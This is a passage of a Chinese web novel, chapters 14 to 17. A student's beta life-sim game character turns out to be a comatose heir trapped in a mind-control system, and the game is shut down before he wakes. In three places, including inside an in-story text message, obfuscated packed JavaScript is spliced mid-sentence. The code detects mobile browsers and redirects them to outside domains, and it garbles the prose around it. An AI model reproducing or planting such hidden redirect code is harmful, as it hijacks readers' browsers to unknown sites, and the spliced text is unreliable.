“这么大的太阳，一定会晒黑好几个度了，白回来都很难……诶？渺渺你这么白，会不会晒黑啊？” 吴珍琳边抱怨者，边看着祝渺肤白貌美的脸，不由得羡慕了一下。 祝渺道：“根据之前的军训经验……会晒黑，但不会太黑。” 吴珍琳更羡慕了，掏出防晒霜准备再加厚一层，却被一声雷厉风行的教官的吼声震慑住了，赶紧收起了防晒霜。 教官到了，军训才正式开始了，祝渺内心叹了口气，不得不听着教官的命令开始站军姿。 过了中午，日头才是最毒辣的时候，整片操场都是安静站军姿的学生，但时不时就倒下几个。 汗水从祝渺的军帽边沿滑落，她浑身一阵酸痛感此起彼伏，胸口也喘不过气来。 直到眼前的视线开始逐渐模糊，她才意识到自己的不对劲。 可是已经晚了，她两眼一黑，天旋地转。 脑子里只留下最后一个念头：丢人啊…… 醒来时，她就看到了一片白色的医务室，头上一片冰凉，身边站着的人是……刘宇学长？ 14. 第 14 章 祝渺没想到，自己才第一天军训，她就没撑住倒下了。 尴尬地笑了笑，胳膊支撑着从床上爬起来。 刘宇见她醒了，叫来了医生后，率先开口：“你中暑昏倒了，刚刚同学们才把你送到医务室，还好你醒了，应该没什么没大事。” “刘宇学长，你怎么在这里？” “你同学们先归队了，通知了我，我就先来照顾你。” “真是谢谢学长了……” “这是应该的。你别担心，第一天身体难以适应是正常的，今天中暑的学生不少，过几天就好了。” 说着，刘宇体贴地拿了水和药，递给她，“今天就好好休息，明天看你身体的恢复情况。” 祝渺接过来，抱歉道：“好，谢谢学长。” 一时间相顾无言，刘宇开口：“过几天，我们会来给你们送饮品。” “嗯？”祝渺一头雾水。 刘宇解释，“是每年的固定环节，我们会来给每个班级送饮品。”说完又好像有些不好意思，避开眼神，迟疑道：“所以……有什么特别想喝的吗，可以提前告诉我，我来准备。” 没想到，中暑倒下还解锁了选择指定款的机会。 祝渺思索一阵，“那要不就……冰柠檬茶？”应该也很符合大多数人的口味吧。 “好。” 第一天下午就在床上躺过，祝渺干脆趁机多偷会儿懒，晚上早早躺下睡觉，到第二天醒来，感觉自己恢复了精神，神清气爽。 虽然还是很热，但站军姿也没这么累了。 下午间歇休息的时候，操场外，有一个队伍浩浩荡荡拉着车，从远处来近操场，同学们逐渐看清，车上囤的是一箱箱饮料。 吴珍琳偷偷用胳膊肘顶了顶正站军姿的祝渺，“看看，是不是刘宇学长他们，好像是来给我们送饮料了！” 刘宇带着人，在操场边放下那车饮料，看向祝渺，远远挥了挥手。 在教官的点头示意下，同学们朝着饮料蜂拥而上。 吴珍琳也拉着祝渺上前，拿了两瓶饮料，其中一瓶递给祝渺，祝渺一看，咦，好像不是她说的柠檬茶？ 正要伸手接，却被一只手挡住，手上还拿着一瓶柠檬茶。 “你的是这个。”刘宇递给祝渺。 祝渺：(⊙o⊙) 原来昨天问她，不是在咨询她的提议啊。 吴珍琳眼神在他俩之间转了转，调侃道：“渺渺你怎么还有特殊待遇呢？” 祝渺：“那当然，我是病人，这是病号福利。” 刘宇也缓和气氛道：“是啊，病人的要求当然要特殊对待。” 吴珍琳也不调侃什么了，休息时间很短，教官一声令下，她和祝渺就回到了队伍。 军训时间大概为期十天，祝渺却觉得这十天格外难熬，简直度日如年。 不仅要遭受酷暑暴晒，而且白天完全没有机会玩手机，这对一个“8G冲浪少女”来说，简直像被抽走了灵魂。 到了晚上，肌肉酸痛，赶着时间洗澡，往床上一躺，也没有了玩手机的力气，一下子就睡着了。大概过去一礼拜的时候，才轻松了些。 几天后终于打开游戏，不知道游戏里又过去了多久？小可怜有没有正常学习？ 打开页面，进入公寓，游戏里正好是夜晚，小可怜正在房间里睡觉。 祝渺手指滑动屏幕，轻轻推开房间门，光线轻轻透过房门，落在他脸上。 小可怜似乎是敏锐地感受到了光源，缓缓睁开眼睛，呢喃了一声：“渺渺姐……” 祝渺干脆打开门，走进房间内，小可怜睁大了眼睛，似乎有些不可置信，“这是在……做梦吗？” 祝渺按键盘输入：“不是做梦，是我回来啦。” 小可怜反应了两秒，眼神终于清醒，流露出抑制的惊喜。 呜呜，小可怜一定是太久没见到自己了，毕竟对她来说才几天，但对小可怜来说可能就是几个月呢，太心疼他的反应了。QAQ 祝渺一看精神指数，都掉到40点了！ 祝渺赶紧输入：“我很想你哦！” 然后选择【摸摸头】加【抱一下】接连着安慰小可怜。 顾忱安心地闭眼，埋下自己隐忍的心情，发自真心地露出松了一口气的微笑，感受着她的存在。 渺渺不会知道，他这段时间是怎么样的心情…… 在祝渺不上线的时光里，顾忱一直按部就班地生活——也许是被迫按部就班。 渺渺说走就走，一连几个月没有出现，也不知道她的归期，他甚至差点就觉得，她不会再回来了。 一想到这，莫大的恐慌就席上他的心头。 每个晚上，他都会尝试走出公寓大门，可是每次都是失败的。 当然，他也尝试了很多其他地方，比如每天都去的学校，可是也失败了，无论去任何场所，他只要想脱离这个地域的管控，都仿佛有无形的手，掌控他的精神或□□，让他无法作出违背。 难道，他会再次陷入之前无尽的循坏中吗？他唯一的希望也会不见吗？ 她明明说过，他们会一直在一起的…… 没错，她承诺过自己，他应该相信她一定会回来的。 于是，在度日如年的傀儡生活中，他凭着对她的那一丝相信，一直默默等待着。 还好，她如约回来了。 ——否则他可能会疯掉。 看着小可怜的精神指数一点点开始上涨，祝渺这才松了口气。 太久没回来了，她好不容易养起来的健康快乐的小可怜都郁闷了，她得赶紧趁白天时间到来，多做做任务，也多陪陪小可怜。 仔细看了看小可怜，他好像又长得帅气成熟了啊…… 点开资料一看，年龄：17岁。 怪不得看起来又帅气了些，原来他都已经满十七岁了耶。 完全长成漫画男主角的样子了嘛。 不，比那些漫画男主角还要精致好看，少年感十足，要是在现实中，一定是很多女孩子的纸片人老公啊。 不不不，什么老公，这是她儿子！ 下一刻，小可怜就冲她温柔地笑了一下。 太帅了。 宝，别对你麻麻释放魅力啊，麻麻年纪比你大好几岁啊，你应该对你的同学们散发魅力才对啊。 祝渺躺在被窝里玩手机，被自己脑子里的胡思乱想攻击，一把拿被子蒙住了脸……当然不是因为害羞，只是想在被窝里更有偷感地玩游戏。 待祝渺钻出被窝，小可怜的健康值和精神指数都呈现了中上水平，可以正常读书上学了。 于是一会儿就到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421186|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游戏的白天时间，祝渺开始投入刷任务赚钱，毕竟她现在玩游戏的时间可不多，不能再像暑假的时候沉迷网络世界了。 顺便还可以多陪陪小可怜，给他买买新衣服，打扮打扮。商城里出了很多新套装，祝渺一个没忍住就剁手了几套衣服。 给帅气儿子换皮肤的快乐，一般人不懂。 谁知，她在给小可怜整理衣柜时，某套新换下的衣服口袋里，却忽然掉出了一封信，祝渺点击将其捡起来，信封上竟烙印了一个爱心。 这这，居然是一封情书？ 祝渺想继续按下的手指犹豫了片刻。 这剧情怎么就朝奇怪的剧情发展了？她还没养多久呢孩子就长大了青春期了还会写情书了？ 作为一名全职女儿，她是不赞成家长偷看孩子信件的，然而，在游戏里，这一定是任务道具。 她果断打开了信封，从里面拿出信纸展开，纸上写着： 【同学你好，我真的喜欢你很久了……我不奢求你多看我一眼，我只想把我的心意传递给你。】 就这么短短一句话，落款叫“青青”，听着应该是个女孩。 原来这是尘尘收到的别的女孩儿写的情书。 刚看完，系统就忽然跳出提示：您已解锁【第五章少年心事】 居然、真的、是个恋爱番走向？！ 青春期的少年啊……怪不得精神指数如此波动！莫名其妙就老是起起落落。 祝渺老母亲般锤天遁地，怎么年纪轻轻还是个未成年人就开始恋爱脑了呢！ 祝渺忧心忡忡，等着小可怜上完课程回来。 眼看着课程进度条拉满，他一回来，祝渺就忍不住试探地问：“咳咳，你上高中课程后，是不是就和新同学关系变好了呀？” 小可怜看着镜头，没什么特别反应：“没有，我没有注意新同学。” 祝渺叹气。 但是，有人在默默注意你啊！ 看来她家小可怜是个榆木脑袋，她要暗示一下他。 祝渺库库打字输入：“不是，我不是指这方面，我是说……有没有女生很关注你呀，或者，你有没有在意的女生呀？” 小可怜回复：“我最在意渺渺姐你呀。” 祝渺赶忙解释：“不是这个在意！我说的是喜欢的那种在意！想和对方亲亲抱抱那种在意！” 这段话一发出去，少有的呆楞和不知所措的神色出现在他脸上。 祝渺注意到他的脸上似乎出现了一点点的红晕。 面瘫小可怜居然也有这种反应？看来是被她说中了！成功触发关键词！他真的有喜欢的女孩子！ 小可怜却低头含糊道：“渺渺姐，你在说什么呢。” 祝渺：“没事，在这方面遇到什么困难了，可以告诉我！放心，我是个开明的家长！” 小可怜一脸无奈，“真的没有，渺渺姐……” 问了几次，小可怜都欲言又止地不说，祝渺也不好再追问了。 得不到答案，也没有任何提示，祝渺不知道接下来的剧情该怎么走，只好先退出了游戏。 屏幕另一头，眼见祝渺放弃了追问，顾忱松了一口气。 听到她问题的一刹那，他内心真实地慌乱了一下。 慌乱过后，他又再次陷入困惑，他为什么要慌张？ 15. 第 15 章 奇怪，太奇怪了。 顾忱觉得自己有些不太正常，不太像从前的自己。 在渺渺不在的时候，夜晚到来时，他的梦里会出现渺渺。 他梦见她回来了，下意识的反应是将她搂在自己怀里，而渺渺也毫不反抗，顺着他的拥抱，轻轻搂住他。 他还想…… 念头即将冒出来的一瞬，他醒了。 他想……做什么呢？ 是想要她一直在自己身边吧。 可似乎又并不一样，渺渺说的那些话，像是在他脑海中种下了一颗种子，挣扎着就要破土而出。 让他有种强烈的欲望，想要看到种子发芽长出后会是什么模样…… ... 此时，祝渺刷着任务一头雾水，除了那一天那封情书的出现之外，就没有任何恋爱向的提示了。 啊，这段剧情到底该怎么过呀！ 刷完任务回家，小可怜正在休息状态。 他忽然问：“渺渺姐，你上次说的在意，到底是什么意思？” 提示来了！祝渺一个激灵，从床上坐起来敲手机键盘。 “我说的在意，就是喜欢。” “喜欢？是什么样的感觉？” 这也太难解释了……她也一直母胎单身，怎么形容这种喜欢的感觉？ 倒是重生前的学生时代，如果没记错的话，她应该也有过年少无知瞎心动的时候。 “大概就是，看不到这个人你就会一直想念，想找机会和她相处，即使只是多说了一句话，你可能都会高兴很久，自己的情绪也会受对方影响，会患得患失，担心自己不够好……之类的。” 说完，小可怜陷入了沉思。 祝渺感叹，恋爱真是使人苦恼，尤其是情窦初开的少年。 “那渺渺姐，你有喜欢的人吗？”小可怜冷不丁问。 渺渺思考了一下她以前年少无知的时候，“以前有过吧。” 小可怜抿了抿唇，又恢复面色不变的模样：“是什么样的人？” “嗯……是上学时候的一个学长，成绩很优秀，还拿过不少奖，不过那可能更多的是崇拜啦。” “……我明白了。” 祝渺不知道，这场对话之后，顾忱陷入了怎样的纠结之中。 她喜欢的人……原来是那样的。顾忱心想。 或许之前他不明白自己对渺渺的感情是怎么样的，但渺渺不在，他会非常地思念，如果能和她多说话，他会发自内心地欣喜…… 这种感觉，难道就是渺渺所说的“喜欢”吗？ 内心那颗种子逐渐破土发芽，他慢慢肯定了，自己一定是喜欢她。 喜欢，所以才如此想靠近她，想要把她留在自己身边。 可是……他马上要十八岁了。 他无限轮回的世界里，他一旦满了十八岁，就很难顺利地活着，他会重新迎来一个更糟糕的世界。 这一次，他有渺渺陪伴在他身边，不知道会是怎么样的结局呢？ 若是他的人生真的再次停留在十八岁，他会不会会后悔自己没有告诉祝渺，他真正的心意和想法？ 在这样的困惑中，他似乎又许久没有见到渺渺了。 他竟是如此地想念她。 如果再来一次，他的人生中失去了渺渺，那会怎么样？ 他无法想象再次回到没有她的世界。 他一定会崩溃，会疯掉。 在等待这个不确定的未来的过程中，顾忱暗自做了一个重要的决定。 * 屏幕外的祝渺已经是最后一天结束军训了，很快她就可以继续正常地玩手机了。 太好了！解放了！ 她兴奋地脱帽，准备冲回宿舍休息。 刚快步走到校门口附近，就见有一群人乌央乌央地在门口，似乎是在围观什么。 祝渺不甚在意，只想路过，却被一个人拦了下来，定睛一看，是秦洛，身穿军装，也是刚结束军训。 秦洛和她进了一所学校，不过在不同专业，各忙各的，至今还没见过面呢。 “渺渺！快跑！”秦洛低声喊了一句，抓着她就往旁边跑。 祝渺一脸懵，不知道发生了什么。 跑到附近的体育馆内，没有人了，秦洛才解释道：“刚刚那群人……你看到了吗？” “看到了……发生了什么？” “里面站着的人，是王朔啊，他又搞幺蛾子了，大排场地准备了一车玫瑰，也不知道跟谁打听到你的军训行程，在门口等着你结束军训路过，和你告白……” 祝渺扶额，又是这离谱的骚操作，幸好秦洛把自己拦下了，要不然又被王朔拦住当众告白…… 这种社死情况，她光是想想就脚趾抠地了。 高中三年经历了几次，大学四年不想再经历这种尴尬的恐惧了。 “放心，一会儿保安就来赶人了，我们等那边人群散了再走。” 祝渺点点头，“好。” 俩人站在体育场馆里，一直等着人群散去，祝渺拿出手机看了看时间，心想要不要现在就打开游戏看看进度。 不知道为什么，她总觉得有一种不太好的预感。 可这里人来人往，不是打开玩游戏的好时机。 是自己想太多了吧……祝渺压下心中的不安，和秦洛聊着天都有些心不在焉。 一直等到门口看热闹的人群慢慢散去，看着王朔等不到人离开了，祝渺和秦洛才走出体育馆大门。 祝渺心心念念自己的游戏进度，拒绝了秦洛的晚餐邀请，回到宿舍打开游戏。 正常登陆游戏，见到了安然无恙的少年，祝渺才松了一口气。 一见到她出现，少年惊喜地从沙发上站起来，似乎是犹豫了一会儿，道：“渺渺姐，一起吃晚饭吗？” 祝渺欣然答应：“好呀。” 祝渺点开背包，准备拿出食材，做个豪华晚饭，少年开口：“我有话想和你说……” 祝渺有些奇怪，怎么氛围好像不太对，难道是恋爱篇剧情又要有进展了？ 她正翘首以待，少年又抿了抿唇，似乎挣扎了一下，“渺渺姐，我们会一直在一起对吗？” 这是什么奇怪的问题？小可怜又没有安全感了？ 祝渺给了他肯定的答案：“嗯，当然。” “我……”少年的话刚出口，字幕刚开始浮现，祝渺的游戏屏幕突然一黑，一瞬后，游戏页面消失，回到了手机主页。 祝渺一惊，怎么回事？游戏闪退了？ 不好的预感重新袭来，祝渺赶紧重新点开游戏，加载中的提示出现，加载符号不停转动，却始终打不开游戏。 祝渺以为是手机坏了，又以为是网络延迟，尝试了各种方法，可其他软件一切运转正常，唯独游戏app始终打不开。 十分钟后，祝渺收到了一条讯息： 【35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15421187|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 亲爱的用户， 您好。 非常抱歉，《口袋少年》内测版本异常，请您立即卸载游戏。 】 短短一则通知，祝渺傻眼，第一反应是不可置信，怀疑自己收到了欺诈短信。 半信半疑地登陆微信，寻找官方的通知，可官方未曾发布消息，只有一群内测版网友在超话发布同样的困惑。 原来人人都收到了这条信息。 祝渺皱眉，点开别人的短信截图，和她收到的短信一模一样。 【怎么回事？大家都有收到这个消息吗？】 【官方能不能出来给一个解释？】 【什么情况啊，内测版出什么问题了？！】 【虽然我没玩多少就放弃了，但我也收到这个信息了诶。啥情况？遭到攻击了？】 …… 看来不止她一个人出现这个问题。不知道到底是什么原因，为什么会突然发出这样的消息。 但祝渺那不好的预感告诉她，有可能她再也无法重新进入这个游戏了。 可她分明刚和屏幕里的少年承诺，他们会一直在一起。 如果是这样的话，她最想做的一件事，是好好和他道个别…… * 在城市的另一头，豪华私立医院的实验室里。 顾凛阴沉着脸，站在许博士的身边，看着监控里沉睡的男人。 似乎压抑着胸腔里的怒火，顾凛咬着牙阴沉地开口：“许博士，我没记错的话，你才答应过我，你会保证他一直沉睡下去。” 许博士一阵冷汗，“顾总经理，他目前并没有醒来的症状，您暂时可以放心。” “哦，暂时，是吗？”顾凛冷哼一声，“那你可以解释一下，为什么他的精神控制系统，会和我们公司的游戏系统兼容呢？” 如果不是有人有意为之，两套系统怎么可能产生交集？ 许博士紧张地吞了口口水，颤颤巍巍开口：“顾，顾总经理，是这样，原本精神控制系统的开发，就有一段架构是挪用了为智能对话而开发的游戏系统的，所以……我也不知道为什么会彻底交融起来……但您放心，内测版本里，只有一个异常版本出现问题……” 顾忱分明一直在昏迷，精神控制系统应当会让他处于另一个稳定的虚拟世界，他的精神意识应该持续保持在某一个状态。 这些天，顾凛发现了，这个状态开始产生了异常。这个异常代表着，他有了情绪和自我意识。 一开始他没有特别在意，可如果持续这么下去，顾忱总有一天会清醒过来。 他不容许他有醒过来的风险，于是排查了各项技术问题，最终许博士发现，控制顾忱精神的系统才是导致异常的源头。 精神系统和游戏系统的融合，使得有人能通过操作游戏，来唤醒顾忱的自我意识。 即使出现这样异常的游戏版本只会有一个，对他来说，也是莫大的威胁和风险。 离开实验室，顾凛就赶回了公司，联系该游戏项目的负责人：“这款游戏内测版发放下去的数量有多少？” 负责人回：“七千……” 七千……要从这里面找出异常的那个版本，不是个小工程。 时间拖得越久，顾忱醒来的可能性就会越大。 顾凛收紧了握手机的力量，不顾游戏负责人的反对，坚决道：“全部回收。” 他不容许有一丁点的风险……！ 16. 第 16 章 这天，口袋少年游戏官方发布通知： 【因游戏制作原因，内测版本将永久失效。 希望大家现在能主动卸载，主动卸载和注销的账号，官方开放正式版本后，可将账号恢复部分进度后再次发放，否则游戏系统将进行数据清除，再无恢复可能。 请各位玩家谅解。】 这个意思是，要主动去销号和卸载，官方出正式版本才能恢复数据，否则就暴力清除？ 祝渺心一紧，没想到这真的是官方的意思，最后一点希望也破灭了。 她真的无法再登陆游戏了吗…… 可她还没有和小可怜道个别。 虽然只是虚拟人物，可终究是陪伴她度过了一整个轻松愉快的暑假，她已经把玩游戏陪小可怜当成日常的娱乐活动。 二十一天一个习惯，玩游戏养孩子早成了她的一个日常娱乐小习惯了。就和习惯性养电子宠物一样。 内心叹了口气，也许是侥幸心理作祟，祝渺不甘心地登陆了一下游戏。 没想到的是，加载中的字样显示了几秒中，游戏页面居然打开了！ 祝渺心中一喜，又冷静下来。这一定不是因为游戏恢复了，而是短暂的恢复而已。 所以，她能做的，是和小可怜好好道个别。 游戏页面还停留在她和少年对话中，可少年似乎已经把话说完了。 祝渺并没有看到少年说了什么，她也无暇顾及剧情了，只能先打开对话框，输入： 【我可能没办法兑换我的承诺了，对不起……】 发出去第一句话，“再见”两个字还没打完，游戏页面就再次黑屏。 这次闪退，祝渺又是无法再次登陆了。 心中叹气，算了，好歹是和小可怜道了别，也算是说过再见啦。 那就这样，结束这款陪伴了她三个月的游戏吧。 虽然还是不舍，但祝渺也接受了这个游戏即将关闭的事实。 再说了，游戏官方也说等到正式版本问世后，会尽量为主动销号和卸载的用户还原部分数据和进度。说不准她的小可怜还会是原来那个小可怜呢？ 只是不知道要等到什么时候了…… 祝渺只能默默等待游戏正式上线，希望她的数据可以恢复。 “你怎么又心不在焉的？怎么了，游戏关服了又伤害到你啦？” 祝渺回神，是秦洛在边吃饭边吐槽她。 曾经她就有过因为很爱玩的游戏被迫关服的经历，因此看她兴致缺缺，秦洛就如是猜测。 秦洛猜的还真八九不离十，祝渺点点头：“是差不多，我的游戏被迫卸载了。”她哭丧着脸。 秦洛咋舌：“你怎么这么倒霉啊，被你玩过的游戏寿命都不长久是吧？” “怎么能这么说呢，我也不想的啊。” 祝渺：QAQ 秦洛冷漠脸：“喔......” 祝渺思索一阵：“你说……如果这世上有数据生命，他的数据被清空后再次恢复，他还会是原来的那个数据生命吗？” 秦洛嘴角微抽：“……游戏玩魔怔啦？开始思考纸片人复活的可能性？还是最近看了什么科幻电影想当编剧了？这都什么奇怪的问题。” 祝渺摇头：“不是，就是看了下最近网友们的讨论，总感觉和我交流的游戏角色有种真实感……我也说不上来。” 卸载游戏后，她为了关注官方动向，也会时不时上微博看到一些同玩内测版的网友，他们偶尔会聊到游戏过程和体验，虽然剧情和她差不多，但他们没有人提到智能对话这一功能，设定感受完全不一样。 难不成只有她没见过世面，觉得这很高科技，其他人都对这种技术习以为常了吗…… 秦洛听完，给祝渺加了一口菜，“渺渺啊，咱们是脚踏实地的唯物主义，要相信科学的力量，但也不能盲目鼓吹，必须承认的是，科学进步的过程，还是存在局限性的……” 祝渺：“……”真的会谢。 祝渺想了想，扒拉了一口饭，“算了，可能这就是官方发布内测版的意义呢。其实我还想过，或许是官方在进行版本测试，小部分人是智能版本，大部分人是普通版本，然后收集双方的实验结果观察数据。而我正好是那小部分实验对象。” 秦洛听完瞪大了双眼，又给她加了一口菜，“渺渺，你能这么智慧又理智地思考，我就放心了！你还是那个正常的你！” 祝渺：再次无语住了。 * 另一个祝渺熟悉又陌生的世界里，却是天翻地覆。 在顾忱的视角里，自从祝渺道别之后，就二话不说离开了家门，从此一去不返。 他想追问，想阻止，想知道……是不是他突然的“告白”吓到了她…… 可他无法问也无法追，只能眼睁睁看着她远去的背影，渐行渐远，淡出他的视线。 他的日子还是要照常过，他就像个牵线木偶一样，按部就班过着每一天的生活。 可他却早已失去了生活的意义。 失去了那个陪伴自己长大的最重要的人，他还有什么存在的意义呢？ 直到十八岁的生日，他放弃挣扎地坐在熟悉的房间，熟悉的餐桌前，他想起那年，她给他准备的生日蛋糕。 好像就发生在不久前。 可这个人，却已经从他生命里消失了。 十八岁的零点到达的那一刻，他心想，啊，他又要开始黑暗的轮回了吗？ 绝望地闭上了眼，没想到，指针走过数字十二的那一瞬，他却忽然恢复了行动能力。 一些模糊的记忆或意志如海浪般涌入大脑，他头痛欲裂。 强烈的欲望席卷而来，他想要……想要见她！ 他冲到家门前，面对这扇没有打开过的门，他狠狠拉开把手。 门，居然缓缓打开。 顾忱瞳孔放大，不敢相信，大门打开了…… 他冲出街道，走进城市，奇妙的不真实感缠绕在他心里，这一切到底是怎么回事…… 心中有一个声音告诉他，见到了渺渺，他就会知道了。 于是他一直跑，走过层层的人海，跑遍了他曾经和渺渺去过的所有地方。 ——直到来到了城市的边缘。 他看见了一层流光，像是一个玻璃罩，把整座城市罩在里面。 他好像要接触这个世界的真相了…… 再往前迈一步，他就能接触到真实的世界吗？他就能找到真实的渺渺吗？ 他不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15421188|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但哪怕是一点希望，他也要去尝试。 ——如果，如果能让她一直在自己身边，该多好......该多好。 这是他醒来前的最后一点意识。 男人从病床上睁开眼，清冷的眼眸从迷茫到恍然，不短短一个瞬息。 …… 几天后，医院诊疗室里，一位医生拿来了一份报告，站在顾忱身边汇报：“顾少爷，您的身体检测结果一切正常，可以出院了。” 不仅身体健康，而且心理测试也相比以前发生了一些改变，比如，情绪和自我意志都变得强烈了。 他已经为顾忱做了多年的身心检测了，没有出现过这样的结果。 对于这一点，他觉得很神奇。 难不成还真是这台精神治疗机器起了这么神奇的效果？ 当初那位顾大少爷提出这个治疗方法时，他还觉得十分不靠谱，毕竟他已经针对顾忱的情况向顾家提出了多种治疗方案，都没什么效果。 果不其然，不仅没见效，还差点让顾忱再也醒不过来。 他还以为，顾忱会在这场医疗事故中永远闭上眼，没想到医学奇迹发生了，顾忱不仅醒过来了，心理治疗似乎还起效了。 他很想知道顾忱通过治疗机器到底遇到了什么：“顾少爷，能请问一下您，在治疗过程中，遭遇了什么？” 顾忱清冷的眸子几乎不含任何情绪，深邃的眼里似平静的深湖，他好像有一瞬间沉浸在回忆中，又立即脱离。 “没什么，只是遇到了一个故人罢了。” 没错，是故人啊…… * 卸载了口袋少年之后，祝渺再玩别的游戏就觉得兴致缺缺了，没有哪款游戏的主角能瞬间戳到她的心窝，也没有哪个主角能和她聊天对话。 虽说ai发展得生机勃勃，但大部分技术还很不成熟，聊天还是伴随着浓浓的机械感。 不过正好课业也要开始了，不能光沉迷游戏，她干脆把状态调整回三次元的世界，好好学习，也会时不时参加一些线下活动。 大学的生活是丰富多彩的，多了许多课外实践时间。开学初，五花八门的部门和社团都开始招新。 祝渺收到信息，是学长刘宇发来的： 【学妹，有没有兴趣加入咱们新闻社？】 【会有很多的采访实践，也会提供很不错的实习机会。】 【这是来自社长的诚邀喔。】 刘宇不仅是学长，也是新闻社的社长。这些条件听起来十分诱人，也很符合祝渺的专业规划。 于是她欣然同意：【好啊没问题，谢谢学长。^^】 几天后，经过报名和面试，她成功进入了新闻社。他们社里人并不多，大概十几号人，一半是刚加入的新生。 他们分别负责学校不同的刊物和媒体，比如校园杂志和公众号等，都有不少的读者。 因此他们每周都会有轮流执行不同的任务，采访、拍摄、写新闻稿……比起娱乐性质的社团，他们算得上是学习和实践性很强的社了。 开学初的课业十分忙碌，新闻社的实践机会也很多，祝渺每天都忙得脚不沾地。 充实忙碌的校园生活，逐渐代替祝渺沉迷游戏的网虫生活。 17. 第 17 章 校园里的一条草间小路上，祝渺捧着摄影机和录音笔走着，刘宇不远不近地跟在她身边。 他们刚刚结束一个重要人物的采访，准备打道回府，整理采访内容撰写文案。 “在咱们社也有好一段时间了，感觉怎么样？会不会觉得很辛苦？”刘宇问道。 祝渺：“忙确实忙，辛苦还能适应。” “能适应就好，我还怕你会怪我当初把你怂恿进来呢。”刘宇和她开玩笑。 “不会啦，能学到东西，对我课业很有帮助。”祝渺真心道。 刘宇不愧是拿了许多学校新闻相关奖项的优秀学生，在实践上也教了她挺多东西。 他为人和善，非常愿意教导学弟学妹，让大家都乐意和他共事。 二人正聊着天，祝渺一个抬眼，就看到前方出现一个困扰她的人影，心中有种不太好的预感。 果然，王朔手捧玫瑰，走到她面前，一脸莫名的“诚挚”。 “亲爱的渺渺，这是我为你买的第五十二束玫瑰了，代表我对你浓烈的爱意，希望你能接受！” 祝渺：…… 现在转身跑大概是来不及了。 身边还有其他人，她脸色有些许尴尬和难看。 “……王朔同学，我已经说过很多次了，我真的不能接受你。你再这样，我真的会很困扰，如果有必要，我真的会选择报警。” 她已经非常好脾气且有耐心了，可一而再再而三，她也是有底线的。 王朔正要再走上前开口反驳，刘宇就一个步子站到祝渺身前，“这位同学，你这样纠缠会对人造成困扰，甚至算违法行为，明白吗？” 王朔看他一眼，皱眉：“你是渺渺的男朋友吗？” 刘宇：“不是，但这和你的行为无关。” 王朔嗤笑一声，振振有词地冲祝渺道：“只要你还单身，我就会一直追求你，我不会放弃的。” 说完，故作潇洒地转身离去。 祝渺头疼，王朔这个人在同学中其实并不坏，但有些恋爱脑行为属实是……一言难尽。 刘宇担忧地看了她一眼：“渺渺学妹，如果有需要，可以随时找我帮你。” “谢谢学长。” 幸亏这附近没什么路人，要不然又要引起一些围观，祝渺一想到这种场景，就脚趾抓地。 然而不远处，一棵大树在草地上落下阴影，树下站着一个人。 这些画面静静落入一个人的眼眸。 祝渺转身走时，忽然有种异样感，仿佛有一道视线一直落在她身上。 环视了一圈，却什么也没看见。 大概是她想多了吧...... 祝渺放下心，和刘宇告别，回到了宿舍楼。 刚准备进门，还没来得及拿钥匙，就见吴珍琳也从楼梯走上来，走到她身边。 祝渺打了个招呼，就见吴珍琳一脸神秘地微笑，凑上来靠近她耳畔偷偷问道：“渺渺，你偷偷告诉我……刘宇学长是不是喜欢你啊？” 祝渺：？？？ 祝渺满头问号：“你在说什么呢！” 吴珍琳：“我真的不是有意要八卦的，刚才我路过小树林那边，不小心看见你们啦，刘宇学长那么关心你，啊，之前军训还只给你带了你爱喝的……真的不能怪我想太多啊！” 祝渺恍然，原来她路上感受到的视线不是假的，是来自吴珍琳啊。 她面露无奈：“……刘宇学长对谁都很好呀，你真的想太多啦......” 吴珍琳听完蔫儿了一半：“好吧……对不起我忍不住八卦，你别介意啊，就当我没说！” 和吴珍琳分开，祝渺回了自己宿舍。 不过受吴珍琳的影响，她也开始胡思乱想。 刘宇学长……分明就是对谁都很照顾，很有正义感的人，怎么可能对她有意思…… 想到那个追她两年的王朔同学，祝渺叹了口气，决定还是和学长也多保持点距离。 哎，靠近男人，会变得不幸。她还小，不想受恋爱的苦！ 她不想再重蹈覆辙，引起什么八卦了，所以还是不要让人造成误会的好。 她下意识地对刘宇学长微微疏远了一点点点，尽量不让人觉得有隔阂，不过学长主动联络她的情况还是少了许多。 但每周一次的例会他们还是要见的。 不过这天例会的氛围似乎有些许反常，祝渺刚走进会议室，就见大家比往常更近活跃，在津津乐道什么。 “发生了什么？”祝渺询问。 刘宇回答她：“一会儿我们会有一位新成员。” 通常招新都在开学之初，没道理都过去两三个月了才来新人。 其他人也了解祝渺的疑惑，于是主动解答，还带着一丝丝微妙的小激动：“听说这位新人是从更厉害的Q大转学过来的！” 